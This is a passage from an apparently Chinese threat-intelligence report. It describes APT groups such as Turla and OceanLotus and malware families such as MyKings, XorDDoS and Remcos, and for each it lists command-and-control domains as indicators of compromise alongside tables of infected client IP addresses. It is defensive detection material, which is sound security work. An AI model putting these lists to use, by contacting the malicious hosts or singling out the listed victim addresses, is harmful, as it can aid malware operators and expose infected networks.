\t125.37.184.21\tNAT\n1 \t125.36.33.16\tNAT\n1 \t111.165.222.113\tNAT\n1 \t60.27.152.188\tNAT\n1 \t221.197.154.8\tNAT\n1 \t60.24.142.12\tNAT\n1 \t60.26.72.241\tNAT\n1 \t111.163.144.208\tNAT\n1 \t111.33.50.98\tNAT\n1 \t111.160.43.14\tNAT\n1 \t117.15.191.151\tNAT\n1 \t111.162.212.244\tNAT\n1 \t117.11.117.145\tNAT\n1 \t117.10.138.132\tNAT\n1 \t60.27.193.224\tNAT\n1 \t117.13.192.197\tNAT\n1 \t117.14.147.119\tNAT\n1 \t218.68.148.99\tNAT\n1 \t125.36.107.131\tNAT\n1 \t111.164.215.206\tNAT\n1 \t211.94.237.146\tNAT\n1 \t111.167.9.209\tNAT\n1 \t117.15.190.49\tNAT\n1 \t218.68.108.222\tNAT\n```\n\n\n\n</br>\n\n\n\n#### APT.menupass\n\n详细报告参见 [https://zhuanlan.zhihu.com/p/52960249](https://zhuanlan.zhihu.com/p/52960249)\n\n\n##### IOCs\n\n```\ncia.toh.info\n```\n\n##### Clients\n```\nCount Client TAGS\n4\t 117.14.156.22\tNAT\n```\n\n\n</br>\n\n\n\n#### APT.turla\n\n90年代著名网络间谍组织“月光迷宫”（Moonlight Maze）已经演变成了今天的Turla APT，它们都具有或多或少相同的技术手段，且共同背景就是：与俄罗斯政府黑客相关。\n以中国和美国等地的政府、军事、大使馆、研究和制药组职为入侵目标，之前也制作过Linux 木马。据说他们是受到俄罗斯政府支持。虽然他们会有行动，但执法机关一直没法知道他们所在何方，因为他们善于隐藏自己。\n\n在网络入侵活动中，黑客一般会利用中转或跳板机作为攻击代理，防止溯源调查，而“月光迷宫”入侵者也是最早采用该技术的攻击者。他们利用很多国家的一系列大学、图书馆等存在系统漏洞的机构电脑作为中转跳板，存储攻击工具，发起网络攻击，以此迷惑调查行为。\n\n详细报告参见 [https://blog.csdn.net/DJY1992/article/details/88994695](https://blog.csdn.net/DJY1992/article/details/88994695)\n\n##### IOCs\n\n```\nmusic-world.servemp3.com\nforum.sytes.net\ntiger.got-game.org\nx-files.zapto.org\nhealth-everyday.faqserv.com\nfifa-rules.25u.com\nweather-online.hopto.org\nhockey-news.servehttp.com\nolympik-blog.4dq.com\ntop-facts.sytes.net\nsupernews.sytes.net\ncars-online.zapto.org\nnhl-blog.servegame.com\nmarketplace.servehttp.com\nnewutils.3utilities.com\n```\n\n##### Clients\n```\nCount Client TAGS\n3495\t218.69.186.173\tNAT\n125\t 218.69.133.129\tNAT\n```\n\n\n</br>\n\n\n\n#### APT.oceanlotus\n\n海莲花（OceanLotus）也叫APT32或APT-C-00，是一个长期针对中国及其他东亚国家（地区）政府、科研机构、海运企业等领域进行攻击的APT组织。\n\n海莲花的攻击途径为使用木马病毒攻陷、控制政府人员、外包商及行业专家等目标人群的计算机，从中窃取受害者计算机中的机密数据，截获受害计算机与外界传递的情报，甚至操纵该计算机自动发送相关情报。而这一攻击方式有“ 鱼叉攻击 ”和“ 水坑攻击 ”两种。\n\n详细报告参见 [https://zh.wikipedia.org/zh/%E6%B5%B7%E8%8E%B2%E8%8A%B1](https://zh.wikipedia.org/zh/%E6%B5%B7%E8%8E%B2%E8%8A%B1)\n\n##### IOCs\n\n```\ndominikmagoffin.com\ncheck.homeip.net\ncortana.homelinux.com\nhk.cnnewspapers.com\n```\n\n##### Clients\n```\nCount Client TAGS\n7\t 60.29.208.115\t\n```\n\n\n</br>\n\n---\n\n### Malware 类\n\n\n#### Malware.mykings\n\nMyKings 是一个由多个子僵尸网络构成的多重僵尸网络，2017 年 4 月底以来，该僵尸网络一直积极地扫描互联网上 1433 及其他多个端口，并在渗透进入受害者主机后传播包括 DDoS、Proxy、RAT、Miner 在内的多种不同用途的恶意代码。\n\n详细报告参见：__GHOST_URL__/mykings-the-botnet-behind-multiple-active-spreading-botnets/\n\n\n##### IOCs\n\n```\nwmi.mykings.top\nloop2.haqo.net\nloop.haqo.net\np.abbny.com\nlpp.beahh.com\no.beahh.com\nlplp.beahh.com\njs.f4321y.com\noo.beahh.com\npp.abbny.com\nloop.abbny.com\ndown.f4321y.com\ndown.b591.com\n```\n\n##### Clients\n```\nCount Client TAGS\n1670\t60.28.104.130\tNAT\n1193\t218.68.105.24\tNAT\n951\t\t60.28.47.90\tNAT\n726\t\t60.30.186.26\tNAT\n434\t\t218.69.112.141\tNAT\n300\t\t221.239.96.146\tNAT\n100\t\t61.181.103.46\tNAT\n48\t\t111.160.80.250\tNAT\n22\t\t221.238.238.234\tNAT\n16\t\t61.181.70.210\tNAT\n12\t\t123.151.34.82\tNAT\n8\t\t117.12.96.213\tNAT\n8\t\t180.213.6.237\tNAT\n8\t\t60.28.101.104\tNAT\n7\t\t111.160.40.106\tNAT\n6\t\t60.25.251.11\tNAT\n6\t\t60.29.153.61\tNAT\n6\t\t60.26.80.98\tNAT\n6\t\t218.68.5.141\tNAT\n6\t\t60.30.149.102\tNAT\n6\t\t111.163.120.92\tNAT\n4\t\t111.160.230.18\tNAT\n4\t\t61.181.49.105\tNAT\n4\t\t60.28.101.103\tNAT\n4\t\t111.30.26.21\tNAT\n4\t\t218.69.11.110\tNAT\n4\t\t60.29.90.230\tNAT\n4\t\t111.160.166.58\tNAT\n3\t\t111.163.145.128\tNAT\n2\t\t61.181.49.102\tNAT\n2\t\t111.30.31.137\t\n2\t\t111.165.4.199\tNAT\n2\t\t61.181.60.34\tNAT\n2\t\t61.181.49.104\tNAT\n2\t\t218.68.6.50\tNAT\n2\t\t60.28.101.106\tNAT\n1\t\t117.11.14.62\tNAT\n1\t\t60.24.90.130\tNAT\n1\t\t111.163.45.102\tNAT\n1\t\t111.160.56.130\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.driverlife\n\n“驱动人生”旗下多款软件携带后门病毒DTStealer，仅半天时间感染了数万台电脑。该病毒进入电脑后，继续通过“永恒之蓝”高危漏洞进行全网传播（特别是政企单位局域网），并回传被感染电脑的IP地址、CPU型号等信息。\n\n\n##### IOCs\n\n```\nlplp.haqo.net\nv.beahh.com\np.awcna.com\np.zer2.com\nlpp.ackng.com\np.amxny.com\noo.beahh.com\nlpp.zer2.com\ndown.ackng.com\nv.bddp.net\nt.awcna.com\nlplp.beahh.com\nt.zer2.com\npp.abbny.com\nlplp.abbny.com\nlpp.awcna.com\noom.beahh.com\ndown.bddp.net\nlpp.haqo.net\nt.amxny.com\nppm.abbny.com\nv.y6h.net\n```\n\n##### Clients\n```\nCount Client TAGS\n1564\t\t221.239.96.146\tNAT\n1486\t\t218.69.112.141\tNAT\n1458\t\t60.30.186.26\tNAT\n1324\t\t60.28.104.130\tNAT\n956\t\t218.68.105.24\tNAT\n786\t\t60.28.47.90\tNAT\n408\t\t61.181.65.154\tNAT\n326\t\t61.181.103.46\tNAT\n188\t\t111.160.80.250\tNAT\n168\t\t111.164.183.26\tNAT\n156\t\t111.164.175.157\tNAT\n156\t\t221.238.238.234\tNAT\n134\t\t111.160.167.194\tNAT\n78\t\t60.28.101.104\tNAT\n74\t\t111.160.231.178\tNAT\n72\t\t111.164.183.91\tNAT\n61\t\t218.68.5.141\tNAT\n55\t\t61.181.70.210\tNAT\n52\t\t60.28.101.103\tNAT\n50\t\t60.25.251.11\tNAT\n49\t\t60.28.101.105\tNAT\n46\t\t218.68.102.37\tNAT\n42\t\t221.197.55.168\tNAT\n36\t\t111.160.97.18\tNAT\n36\t\t60.28.108.201\tNAT\n24\t\t60.26.80.98\tNAT\n24\t\t123.150.44.3\tNAT\n24\t\t125.36.59.125\tNAT\n20\t\t60.28.41.18\tNAT\n18\t\t61.181.60.34\tNAT\n16\t\t111.160.166.58\tNAT\n16\t\t60.29.153.61\tNAT\n14\t\t221.196.67.188\tNAT\n14\t\t60.29.153.45\tNAT\n12\t\t123.151.34.82\tNAT\n12\t\t60.28.108.21\tNAT\n12\t\t123.150.44.11\tNAT\n10\t\t60.28.101.74\tNAT\n10\t\t218.68.0.210\tNAT\n10\t\t111.160.70.46\tNAT\n8\t\t123.150.44.5\tNAT\n8\t\t117.12.96.213\tNAT\n8\t\t180.213.6.237\tNAT\n8\t\t60.28.101.106\tNAT\n8\t\t111.165.4.199\tNAT\n8\t\t61.181.252.146\tNAT\n8\t\t221.197.66.60\tNAT\n8\t\t60.29.145.254\tNAT\n6\t\t61.181.49.105\tNAT\n6\t\t111.30.78.46\tNAT\n6\t\t111.160.172.18\tNAT\n6\t\t111.30.101.238\tNAT\n6\t\t218.69.11.174\tNAT\n6\t\t117.9.199.42\tNAT\n6\t\t111.163.120.92\tNAT\n4\t\t111.160.212.19\tNAT\n4\t\t218.69.11.110\tNAT\n4\t\t111.160.230.18\tNAT\n4\t\t60.29.90.230\tNAT\n4\t\t60.29.241.4\tNAT;IDC\n4\t\t125.35.214.114\tNAT\n4\t\t111.30.35.142\tNAT\n4\t\t111.160.40.106\tNAT\n4\t\t60.30.149.102\tNAT\n2\t\t111.30.31.137\t\n2\t\t123.150.44.9\tNAT\n2\t\t218.69.129.94\tNAT\n2\t\t60.29.241.1\tNAT;IDC\n2\t\t60.28.101.102\tNAT\n2\t\t117.9.18.201\tNAT\n2\t\t61.181.49.102\tNAT\n2\t\t61.181.49.104\tNAT\n2\t\t60.27.119.49\t\n2\t\t218.68.6.50\tNAT\n2\t\t60.29.158.138\tNAT\n2\t\t123.151.196.187\tNAT\n2\t\t117.9.121.135\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.dbnt\n\n一款用于网吧客户机系统维护的软件，同时也是一个win恶意软件下载器，可以下载各种恶意软件，用于流量劫持等恶意行为。\n\n##### IOCs\n\n```\nwj.center.oldlist.info\necount.2019cn.com\n```\n\n##### Clients\n```\nCount Client TAGS\n6\t\t61.181.61.82\tNAT\n6\t\t60.28.130.170\tNAT\n6\t\t60.30.67.234\tNAT\n4\t\t60.28.38.18\tNAT\n3\t\t60.30.111.99\tNAT\n3\t\t111.160.91.94\tNAT\n2\t\t125.37.20.209\tNAT\n2\t\t117.8.246.134\tNAT\n2\t\t117.13.157.191\tNAT\n2\t\t111.164.179.188\tNAT\n1\t\t60.25.31.73\tNAT\n1\t\t111.164.20.60\tNAT\n1\t\t60.26.240.155\tNAT\n1\t\t111.162.55.162\tNAT\n1\t\t111.164.175.4\tNAT\n1\t\t125.37.20.206\tNAT\n1\t\t61.181.111.18\tNAT\n1\t\t221.197.54.42\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.irc\n\n\n基于IRC协议的家族统称，包括Windows和Linux两种平台。基于IRC的典型家族有dstd和tsunami，但并非使用了IRC就一定是恶意的。 irc允许私有扩展，所以上线包会有不同的字段和换行格式，我们这里初步的细分为irc1/2/3.\n\n\n##### IOCs\n\n```\nn.ezjhyxxbf.ru\nn.vbemnggcj.ru\n```\n\n##### Clients\n```\nCount Client TAGS\n4\t\t111.161.200.159\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.remcos\n\n通过钓鱼邮件传播的远控，可在被感染的系统执行键盘记录，远程截屏，文件管理，命令执行等多个功能。\n\n\n##### IOCs\n\n```\nmaxeuro.ddns.net\n```\n\n##### Clients\n```\nCount Client TAGS\n150\t\t111.163.141.154\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.xorddos\n\n该家族针对Linux设备，用于DDoS攻击。因为样本内的配置信息和C2通信均使用了一个自定义的XOR加密算法，故得名XOR.DDOS。该家族支持syn/dns/tcp等flood攻击。\n\n\n##### IOCs\n\n```\naaa.xxxatat456.com\np6.2018fly.com\np11.2018fly.com\na381422.f3322.net\nwww1.gggatat456.com\naaa.gggatat456.com\nppp.xxxatat456.com\naaaaaaaaaa.re67das.com\ngh.dsaj2a1.org\nk1.2018fly.com\nb12.xxxatat456.com\nppp.gggatat456.com\np12.2018fly.com\nb12.gggatat456.com\n```\n\n##### Clients\n```\nCount Client TAGS\n577\t\t60.29.208.112\t\n461\t\t125.39.151.184\t\n452\t\t125.39.71.19\t\n211\t\t124.68.10.20\t\n145\t\t111.160.201.202\t\n144\t\t60.28.54.30\tNAT\n116\t\t61.181.59.88\t\n2\t\t60.29.141.95\t\n```\n\n\n</br>\n\n\n\n#### Malware.NuggetPhantom\n\n模块化恶意工具集“NuggetPhantom（掘金幽灵）”最早出现于2016年底，其曾在2016年底的“天翼校园客户端蓝屏事件”以及2017年底的“天翼校园客户端挖矿程序事件”中有所行动。攻击者获知用户计算机存在EternalBlue漏洞后，利用该漏洞向用户计算机发送Eternal_Blue_Payload载荷，该载荷及其所释放的各模块皆通过访问下载服务器来获取加密后的各用途模块文件，并在内存中动态解密这些模块代码，执行模块对应的恶意功能。\n\n##### IOCs\n\n```\nnew.szyfpga.com\ndeg.szyfpg.com\nbuy.szyfpg.com\ncpu.szyfpg.com\nnew.szyfpg.com\ndeg.szyfpga.com\n```\n\n##### Clients\n```\nCount Client TAGS\n57\t\t60.29.64.22\tNAT\n18\t\t60.24.251.190\tNAT\n15\t\t117.11.121.200\tNAT\n15\t\t111.162.220.212\tNAT\n12\t\t111.162.217.67\tNAT\n8\t\t117.11.144.69\tNAT\n8\t\t111.162.216.179\tNAT\n7\t\t60.29.148.146\tNAT\n5\t\t218.67.167.157\tNAT\n5\t\t218.68.24.157\tNAT\n4\t\t117.15.28.197\tNAT\n3\t\t211.94.237.161\tNAT\n3\t\t60.24.248.46\tNAT\n2\t\t117.12.37.38\tNAT\n1\t\t60.24.34.84\tNAT\n1\t\t60.27.137.164\tNAT\n1\t\t111.162.219.177\tNAT\n1\t\t111.160.119.194\tNAT\n1\t\t60.27.152.186\tNAT\n1\t\t218.67.199.206\tNAT\n1\t\t60.26.234.195\tNAT\n1\t\t218.67.233.167\tNAT\n1\t\t218.67.186.15\tNAT\n1\t\t218.69.42.199\tNAT\n1\t\t60.27.191.194\tNAT\n1\t\t218.69.156.136\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.2gun\n\n\n涉及业务种类繁杂，除了传播双枪木马的恶意驱动程序，还传播游戏私服驱动，还会盗窃 Steam 账号、劫持 QQ 进行恶意推广\n\n\n##### IOCs\n\n```\nua.minding99.com\nba.minding99.com\nia.minding99.com\nwww.0311bj.cn\na.dearqy.cn\nwhite.shougouji.top\ncn4.ppzos.com\nwww.360gege.com\nic.dztworld.com\ncn2.ppzos.com\nbc.dztworld.com\nsogous.sayblurb.com\npc.ppzos.com\ncn5.ppzos.com\nba.dztworld.com\nsogousss.srcbooks.com\nub.minding99.com\nrat2.100geili.com\nib.dztworld.com\nwhite.fjxmxslaw.com\ncn1.ppzos.com\nub.dztworld.com\ncn3.ppzos.com\nbb.dztworld.com\nrat3.100geili.com\nsogouss.srcbooks.com\n```\n\n##### Clients\n```\nCount Client TAGS\n44\t\t111.160.156.10\tNAT\n27\t\t125.36.117.113\tNAT\n27\t\t218.69.42.199\tNAT\n24\t\t117.9.55.29\tNAT\n22\t\t221.197.187.187\tNAT\n22\t\t61.181.206.154\tNAT\n20\t\t218.69.64.130\tNAT\n20\t\t218.68.145.150\tNAT\n20\t\t221.198.203.162\tNAT\n20\t\t221.197.55.4\tNAT\n20\t\t117.11.128.45\tNAT\n19\t\t60.26.187.29\tNAT\n18\t\t117.13.15.45\tNAT\n18\t\t61.181.131.46\tNAT\n18\t\t117.11.155.93\tNAT\n18\t\t60.27.30.20\tNAT\n18\t\t218.69.74.187\tNAT\n17\t\t218.68.236.120\tNAT\n17\t\t61.181.92.130\tNAT\n16\t\t117.15.222.228\tNAT\n16\t\t218.68.220.53\tNAT\n16\t\t218.67.233.167\tNAT\n16\t\t111.162.24.203\tNAT\n15\t\t125.38.137.213\tNAT\n15\t\t60.24.144.117\tNAT\n15\t\t111.163.146.62\tNAT\n14\t\t60.25.16.227\tNAT\n14\t\t60.24.189.241\tNAT\n14\t\t117.13.140.142\tNAT\n14\t\t218.69.242.43\tNAT\n14\t\t60.27.207.61\tNAT\n14\t\t125.38.176.2\tNAT\n13\t\t218.68.201.81\tNAT\n13\t\t60.25.27.238\tNAT\n13\t\t117.14.249.51\tNAT\n13\t\t111.167.149.205\tNAT\n13\t\t111.161.191.151\tNAT\n12\t\t221.198.110.24\tNAT\n12\t\t125.38.168.10\tNAT\n12\t\t60.27.205.7\tNAT\n12\t\t117.13.140.6\tNAT\n12\t\t221.197.69.44\tNAT\n12\t\t117.14.103.18\tNAT\n12\t\t117.13.168.100\tNAT\n11\t\t111.163.211.201\t\n11\t\t117.15.6.163\tNAT\n11\t\t111.165.7.69\tNAT\n11\t\t125.37.218.227\tNAT\n11\t\t111.165.117.68\tNAT\n11\t\t125.37.188.224\tNAT\n11\t\t218.68.24.30\tNAT\n11\t\t111.161.188.225\tNAT\n11\t\t60.28.35.130\tNAT\n11\t\t111.167.39.103\tNAT\n11\t\t221.198.75.232\tNAT\n10\t\t117.12.144.200\tNAT\n10\t\t111.162.215.214\tNAT\n10\t\t218.67.137.157\tNAT\n10\t\t111.160.66.38\tNAT\n10\t\t221.197.207.233\tNAT\n10\t\t218.69.66.23\tNAT\n10\t\t117.9.138.237\tNAT\n10\t\t117.14.225.113\tNAT\n10\t\t221.198.55.86\tNAT\n10\t\t60.28.137.114\tNAT\n10\t\t111.166.240.107\tNAT\n10\t\t60.30.215.214\tNAT\n10\t\t60.26.60.73\tNAT\n9\t\t125.36.168.151\tNAT\n9\t\t111.166.78.107\tNAT\n9\t\t211.94.226.80\tNAT\n9\t\t117.15.204.67\tNAT\n9\t\t117.9.137.247\tNAT\n9\t\t125.36.159.143\tNAT\n9\t\t117.9.92.253\tNAT\n9\t\t218.67.255.130\tNAT\n9\t\t60.30.177.62\tNAT\n9\t\t60.27.30.93\tNAT\n8\t\t111.161.175.142\tNAT\n8\t\t221.198.205.55\tNAT\n8\t\t61.181.237.149\tNAT\n8\t\t111.162.203.133\tNAT\n8\t\t117.13.15.171\tNAT\n8\t\t111.160.132.158\tNAT\n8\t\t221.196.253.224\tNAT\n8\t\t111.167.55.23\tNAT\n8\t\t111.163.194.85\tNAT\n8\t\t125.37.64.100\tNAT\n8\t\t60.26.75.38\tNAT\n8\t\t117.15.213.63\tNAT\n8\t\t111.167.141.36\tNAT\n8\t\t111.163.213.221\tNAT\n8\t\t60.29.148.130\tNAT\n8\t\t218.68.105.107\tNAT\n7\t\t111.165.249.178\tNAT\n7\t\t111.163.87.125\tNAT\n7\t\t125.36.36.45\tNAT\n7\t\t221.197.12.168\tNAT\n7\t\t60.27.136.30\tNAT\n7\t\t218.68.201.142\tNAT\n7\t\t218.69.166.164\tNAT\n7\t\t117.11.15.253\tNAT\n7\t\t125.36.33.178\tNAT\n7\t\t218.67.166.249\tNAT\n7\t\t125.36.118.3\tNAT\n7\t\t60.27.136.126\tNAT\n7\t\t60.30.10.178\tNAT\n7\t\t218.69.242.148\tNAT\n7\t\t221.197.132.12\tNAT\n6\t\t60.24.89.15\tNAT\n6\t\t117.11.233.183\tNAT\n6\t\t60.27.188.32\tNAT\n6\t\t60.27.193.191\tNAT\n6\t\t111.162.223.220\tNAT\n6\t\t60.29.153.58\tNAT\n6\t\t60.29.153.52\tNAT\n6\t\t111.163.151.192\tNAT\n6\t\t60.29.94.82\tNAT\n6\t\t218.69.133.140\tNAT\n6\t\t117.14.58.46\tNAT\n6\t\t218.69.66.151\tNAT\n6\t\t221.197.29.129\tNAT\n6\t\t117.11.108.75\tNAT\n6\t\t117.12.133.137\tNAT\n6\t\t60.25.50.209\tNAT\n6\t\t218.69.78.11\tNAT\n6\t\t117.11.147.199\tNAT\n6\t\t218.67.199.206\tNAT\n6\t\t60.29.128.211\tNAT\n6\t\t60.27.189.251\tNAT\n5\t\t218.68.114.85\tNAT\n5\t\t111.160.253.30\tNAT\n5\t\t60.26.42.206\tNAT\n5\t\t61.181.63.46\tNAT\n5\t\t111.163.154.184\tNAT\n5\t\t60.27.103.152\tNAT\n5\t\t221.198.228.243\tNAT\n5\t\t111.164.10.211\tNAT\n5\t\t117.13.51.90\tNAT\n5\t\t117.10.10.40\tNAT\n5\t\t111.162.216.132\tNAT\n5\t\t111.164.122.84\tNAT\n5\t\t60.26.41.154\tNAT\n5\t\t117.8.100.67\tNAT\n5\t\t111.163.142.158\tNAT\n5\t\t218.68.158.47\tNAT\n5\t\t111.163.146.242\tNAT\n5\t\t111.163.147.202\tNAT\n5\t\t60.30.98.210\tNAT\n5\t\t202.99.106.45\tNAT\n5\t\t60.29.37.38\tNAT\n5\t\t60.24.88.26\tNAT\n5\t\t60.27.88.181\tNAT\n5\t\t60.27.42.203\tNAT\n4\t\t218.68.114.88\tNAT\n4\t\t117.14.201.101\tNAT\n4\t\t60.25.121.64\tNAT\n4\t\t117.14.132.138\tNAT\n4\t\t60.27.43.13\tNAT\n4\t\t221.197.69.167\tNAT\n4\t\t218.69.186.4\tNAT\n4\t\t111.163.73.91\tNAT\n4\t\t218.69.156.112\tNAT\n4\t\t221.198.239.23\tNAT\n4\t\t221.196.51.133\tNAT\n4\t\t60.25.57.45\tNAT\n4\t\t60.24.71.118\tNAT\n4\t\t218.67.255.20\tNAT\n4\t\t60.27.95.94\tNAT\n4\t\t117.11.242.161\tNAT\n4\t\t61.181.5.171\tNAT\n4\t\t221.198.228.100\tNAT\n4\t\t111.166.68.224\tNAT\n4\t\t221.198.27.32\tNAT\n4\t\t218.68.245.188\tNAT\n4\t\t221.198.235.137\tNAT\n4\t\t60.27.189.130\tNAT\n4\t\t111.161.190.189\tNAT\n4\t\t221.197.133.108\tNAT\n4\t\t218.68.233.233\tNAT\n4\t\t221.197.139.0\tNAT\n4\t\t60.24.249.103\tNAT\n4\t\t218.69.74.97\tNAT\n4\t\t125.37.183.60\tNAT\n4\t\t125.38.176.178\tNAT\n4\t\t60.27.188.239\tNAT\n4\t\t218.68.236.207\tNAT\n4\t\t111.163.220.92\tNAT\n4\t\t125.38.62.105\tNAT\n4\t\t61.181.208.87\tNAT\n4\t\t218.67.255.132\tNAT\n4\t\t211.94.242.63\tNAT\n4\t\t125.37.189.121\tNAT\n4\t\t117.11.144.138\tNAT\n4\t\t60.27.136.92\tNAT\n4\t\t125.38.177.227\tNAT\n3\t\t218.68.233.60\tNAT\n3\t\t117.10.62.116\tNAT\n3\t\t218.69.133.156\tNAT\n3\t\t60.30.37.92\tNAT\n3\t\t218.69.74.76\tNAT\n3\t\t125.38.179.187\tNAT\n3\t\t218.68.233.4\tNAT\n3\t\t218.67.164.94\tNAT\n3\t\t117.13.67.54\tNAT\n3\t\t60.30.158.118\tNAT\n3\t\t111.167.10.59\tNAT\n3\t\t117.11.117.136\tNAT\n3\t\t221.198.98.75\tNAT\n3\t\t111.164.38.243\tNAT\n3\t\t221.196.194.139\tNAT\n3\t\t117.9.120.72\tNAT\n3\t\t218.69.164.111\tNAT\n3\t\t221.198.167.50\tNAT\n3\t\t221.198.218.193\tNAT\n3\t\t111.163.156.144\tNAT\n3\t\t221.197.177.239\tNAT\n3\t\t221.196.56.129\tNAT\n3\t\t60.26.94.128\tNAT\n3\t\t221.198.104.101\t\n3\t\t125.36.52.31\tNAT\n3\t\t117.9.239.187\tNAT\n3\t\t117.11.239.145\tNAT\n3\t\t60.24.91.72\tNAT\n3\t\t221.198.174.199\tNAT\n3\t\t218.69.242.4\tNAT\n3\t\t125.37.183.147\tNAT\n3\t\t60.27.60.238\tNAT\n3\t\t218.67.234.37\tNAT\n3\t\t117.11.121.171\tNAT\n3\t\t218.68.204.2\tNAT\n3\t\t117.12.80.93\tNAT\n3\t\t111.167.205.126\tNAT\n3\t\t221.198.61.203\t\n3\t\t221.197.222.238\tNAT\n3\t\t218.68.102.6\tNAT\n3\t\t60.24.226.134\tNAT\n3\t\t117.14.249.216\tNAT\n3\t\t125.37.189.53\tNAT\n3\t\t60.25.2.192\tNAT\n3\t\t60.27.174.218\tNAT\n3\t\t60.27.173.241\tNAT\n3\t\t117.12.20.146\tNAT\n3\t\t60.28.48.194\tNAT\n3\t\t111.163.150.91\tNAT\n3\t\t117.13.3.30\tNAT\n2\t\t60.24.91.55\tNAT\n2\t\t218.68.219.19\tNAT\n2\t\t125.37.121.172\tNAT\n2\t\t60.26.79.134\tNAT\n2\t\t60.30.203.70\tNAT\n2\t\t117.14.207.142\tNAT\n2\t\t111.165.120.223\tNAT\n2\t\t117.10.65.170\tNAT\n2\t\t111.162.200.171\tNAT\n2\t\t111.163.77.247\tNAT\n2\t\t60.27.138.181\tNAT\n2\t\t117.14.249.26\tNAT\n2\t\t117.15.222.52\tNAT\n2\t\t60.27.136.84\tNAT\n2\t\t60.29.215.153\tNAT\n2\t\t117.15.190.58\tNAT\n2\t\t111.163.198.248\tNAT\n2\t\t60.26.122.202\tNAT\n2\t\t111.161.221.189\tNAT\n2\t\t111.162.216.62\tNAT\n2\t\t111.166.213.251\tNAT\n2\t\t111.165.116.208\t\n2\t\t111.160.120.54\tNAT\n2\t\t111.165.30.69\tNAT\n2\t\t221.196.203.65\tNAT\n2\t\t218.67.146.57\t\n2\t\t111.166.66.253\t\n2\t\t111.167.79.178\t\n2\t\t111.162.8.186\tNAT\n2\t\t125.37.183.50\tNAT\n2\t\t111.161.190.225\tNAT\n2\t\t117.10.249.226\tNAT\n2\t\t117.13.104.78\tNAT\n2\t\t221.197.162.210\tNAT\n2\t\t60.25.115.96\tNAT\n2\t\t111.165.214.234\tNAT\n2\t\t221.196.172.170\tNAT\n2\t\t117.10.68.185\t\n2\t\t125.37.191.87\tNAT\n2\t\t60.24.127.98\tNAT\n2\t\t117.12.16.123\tNAT\n2\t\t117.14.126.217\tNAT\n2\t\t111.162.200.108\tNAT\n2\t\t60.26.95.79\tNAT\n2\t\t221.198.59.196\t\n2\t\t125.37.167.208\tNAT\n2\t\t60.27.104.1\tNAT\n2\t\t218.69.234.247\tNAT\n2\t\t111.166.117.229\tNAT\n2\t\t117.10.138.212\tNAT\n2\t\t60.25.17.106\tNAT\n2\t\t117.8.71.114\tNAT\n2\t\t60.25.154.32\tNAT\n2\t\t117.10.105.154\t\n1\t\t218.68.114.232\tNAT\n1\t\t218.68.201.255\tNAT\n1\t\t125.37.29.177\tNAT\n1\t\t218.67.254.103\tNAT\n1\t\t61.181.40.58\tNAT\n1\t\t111.161.235.57\tNAT\n1\t\t60.24.88.219\tNAT\n1\t\t218.68.146.254\tNAT\n1\t\t218.68.102.48\tNAT\n1\t\t117.9.88.178\tNAT\n1\t\t60.24.12.95\tNAT\n1\t\t111.163.208.48\tNAT\n1\t\t117.14.227.37\t\n1\t\t125.37.189.90\tNAT\n1\t\t218.67.204.218\tNAT\n1\t\t125.37.182.15\tNAT\n1\t\t60.24.12.200\tNAT\n1\t\t218.69.72.24\tNAT\n1\t\t117.12.233.224\tNAT\n1\t\t111.163.16.168\tNAT\n1\t\t111.163.122.25\tNAT\n1\t\t221.198.131.25\tNAT\n1\t\t60.25.39.56\tNAT\n1\t\t117.13.95.251\tNAT\n1\t\t221.196.194.116\tNAT\n1\t\t60.26.158.69\tNAT\n1\t\t117.14.249.73\tNAT\n1\t\t111.163.142.187\tNAT\n1\t\t125.37.190.50\tNAT\n1\t\t218.68.147.89\tNAT\n1\t\t221.197.69.49\tNAT\n1\t\t117.14.107.42\tNAT\n1\t\t117.15.192.109\tNAT\n1\t\t117.10.64.131\tNAT\n1\t\t111.163.151.214\tNAT\n1\t\t111.165.106.1\t\n1\t\t221.196.51.5\tNAT\n1\t\t125.36.118.252\tNAT\n1\t\t117.10.64.187\tNAT\n1\t\t221.197.54.203\tNAT\n1\t\t218.68.156.175\tNAT\n1\t\t60.24.88.200\tNAT\n1\t\t111.163.146.23\tNAT\n1\t\t221.197.12.150\tNAT\n1\t\t125.38.18.28\tNAT\n1\t\t117.8.85.121\tNAT\n1\t\t60.25.13.211\tNAT\n1\t\t111.162.220.193\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.darkshell\n\ndarkshell 是面向Window平台的DDoS malware，用于DDoS攻击，支持UDP/TCP/DNS/HTTP 4种攻击方式。\n\n##### IOCs\n\n```\nequant.wang\n```\n\n##### Clients\n```\nCount Client TAGS\n257\t\t125.37.163.193\tNAT\n35\t\t60.30.158.118\tNAT\n5\t\t117.131.173.13\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.nadrac\n\n一款简单的远控程序，又被称为Farfli, YongLouts。一般主要是充当下载器，包含键盘记录，代理，音视频监听等多个插件。\n\n##### IOCs\n\n```\ndllhost.website\nbaijinddos.xyz\nmdzz2018.msns.cn\nsky.hobuff.info\nindonesias.website\n```\n\n##### Clients\n```\nCount Client TAGS\n526\t\t60.30.199.26\tNAT\n509\t\t111.160.156.10\tNAT\n203\t\t111.163.143.228\tNAT\n84\t\t60.28.140.93\tNAT\n54\t\t60.29.124.250\tNAT\n8\t\t60.28.114.2\tNAT\n7\t\t60.29.133.19\tNAT\n4\t\t111.160.110.26\tNAT\n4\t\t218.69.27.222\tNAT\n4\t\t125.37.162.202\tNAT\n3\t\t111.165.217.222\tNAT\n3\t\t60.28.101.14\tNAT\n2\t\t125.39.151.188\t\n2\t\t60.29.64.86\tNAT\n1\t\t60.28.114.30\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.elknot\n\n一款比较知名的木马，它允许远程攻击者利用受感染计算机发动DDoS攻击。\n\n##### IOCs\n\n```\nfk.appledoesnt.com\nll.8suf.com\nbaijinddos.xyz\n```\n\n##### Clients\n```\nCount Client TAGS\n452\t\t61.181.59.88\t\n258\t\t60.30.26.124\t\n257\t\t60.29.144.220\t\n203\t\t111.163.143.228\tNAT\n155\t\t218.68.0.210\tNAT\n```\n\n</br>\n\n\n#### Malware.loki\n\nloki是一款针对windows平台的恶意软件，其主要目的在于窃取受害者的敏感信息，browser,email,ftp,以及诸多付费工具的licence等。\n\n##### 